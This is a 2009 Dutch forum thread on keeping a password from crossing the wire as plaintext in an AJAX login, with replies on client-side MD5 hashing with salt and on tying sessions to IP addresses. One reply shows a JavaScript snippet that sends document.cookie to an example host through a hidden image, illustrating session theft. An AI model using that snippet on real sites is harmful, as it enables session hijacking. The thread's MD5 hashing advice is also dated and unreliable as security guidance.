AJAX login & password encryption

Verwijderd schreef op donderdag 29 januari 2009 @ 12:21:
Ik heb het volgende probleem: voor een website is een login-functionaliteit gewenst zonder dat de hele pagina opnieuw wordt geladen. Hiervoor gebruik ik de AJAX functionaliteit uit de YUI 2.5.1 library. Het werkt goed, echter het probleem is dat het password unencrypted verzonden wordt. Met een 'eenvoudige' tool als Firebug is dit goed te zien: open via 'console' of 'net' tab je request object en jet ziet gelijk je eigen unencrypted password.

Ik wil het dus clientside zo veilig mogelijk maken, in zover dat überhaupt mogelijk is met een AJAX login. Het idee is encrypten in JavaScript, verzenden en decrypten in Java. Op het web vind ik verbazingwekkend weinig concrete informatie mbt. dit thema, terwijl het toch een bekend probleem moet zijn. Hoe zouden jullie dit probleem oplossen?

[ Voor 3% gewijzigd door DizzyWeb op 29-01-2009 12:26 ]

MueR schreef op donderdag 29 januari 2009 @ 12:36:
Ik zou inderdaad naar hashes kijken. Neem als voorbeeld vBulletin, die gebruiken dan wel geen AJAX login (wat imo weinig toevoegt, maar dat terzijde), maar versturen het wachtwoord wel md5 encrypted.

Overigens is MD5 niet zo lek dat je het niet meer kan gebruiken hoor, ligt een beetje aan het soort site.

1
2
3
4
5
6
7
8
9
10

function md5_password(form1, form2)
{
    var uname = form1.elements['u'].value;
    var pwd = form1.elements['p'].value;
    var sid = form1.elements['sid'].value;
    form2.elements['u'].value = uname;
    form2.elements['p'].value = hex_md5(hex_md5(pwd)+uname.toLowerCase()+sid);
    // knip
    form2.submit();
}

[ Voor 31% gewijzigd door CodeCaster op 29-01-2009 13:39 ]

Niemand_Anders schreef op donderdag 29 januari 2009 @ 13:48:
Maar koppel je dan ook de cookie hard aan een IP?

Cartman! schreef op donderdag 29 januari 2009 @ 13:53:
[...]

Dat hangt af van wat de user wil. Je kunt niet dwingen om een sessie aan een ip te koppelen want niet iedereen heeft een vast ip. Dat wel forceren zou dom zijn imo want je sluit enorme groepen uit om in te loggen.

[ Voor 18% gewijzigd door .oisyn op 29-01-2009 14:50 ]

Cartman! schreef op donderdag 29 januari 2009 @ 13:53:
[...]

Dat hangt af van wat de user wil. Je kunt niet dwingen om een sessie aan een ip te koppelen want niet iedereen heeft een vast ip. Dat wel forceren zou dom zijn imo want je sluit enorme groepen uit om in te loggen. En iemand die je cookie kan stelen van je pc die kan ook wel meer dan dat vaak dus is je risico toch al van andere aard.

1
2
3
4

var img = new Image;
img.height = 0; img.width=0; 
img.src='http://www.example.org/?c=' + document.cookie;
document.getElementsByName("body")[0].appendChild(img);

.oisyn schreef op donderdag 29 januari 2009 @ 14:47:
Da's ook onzin. Een variabel ip betekent niet dat je ip zomaar wijzigt terwijl je aan het internetten bent.

[ Voor 6% gewijzigd door .oisyn op 30-01-2009 11:21 ]

[ Voor 42% gewijzigd door .oisyn op 30-01-2009 12:04 ]

.oisyn schreef op vrijdag 30 januari 2009 @ 13:35:
Gewoon md5(password+constant salt) zorgt er ook voor dat wachtwoord niet plaintext over de lijn gaat. Mijn punt was dat ik challenge/response geen toevoeging vind hebben tov een gewoon gehashed wachtwoord (met salt) als je sessie-id net zo goed plaintext over de lijn gaat, die vervolgens gewoon gebruikt kan worden door derden als de sessie niet gekoppeld is aan je ip.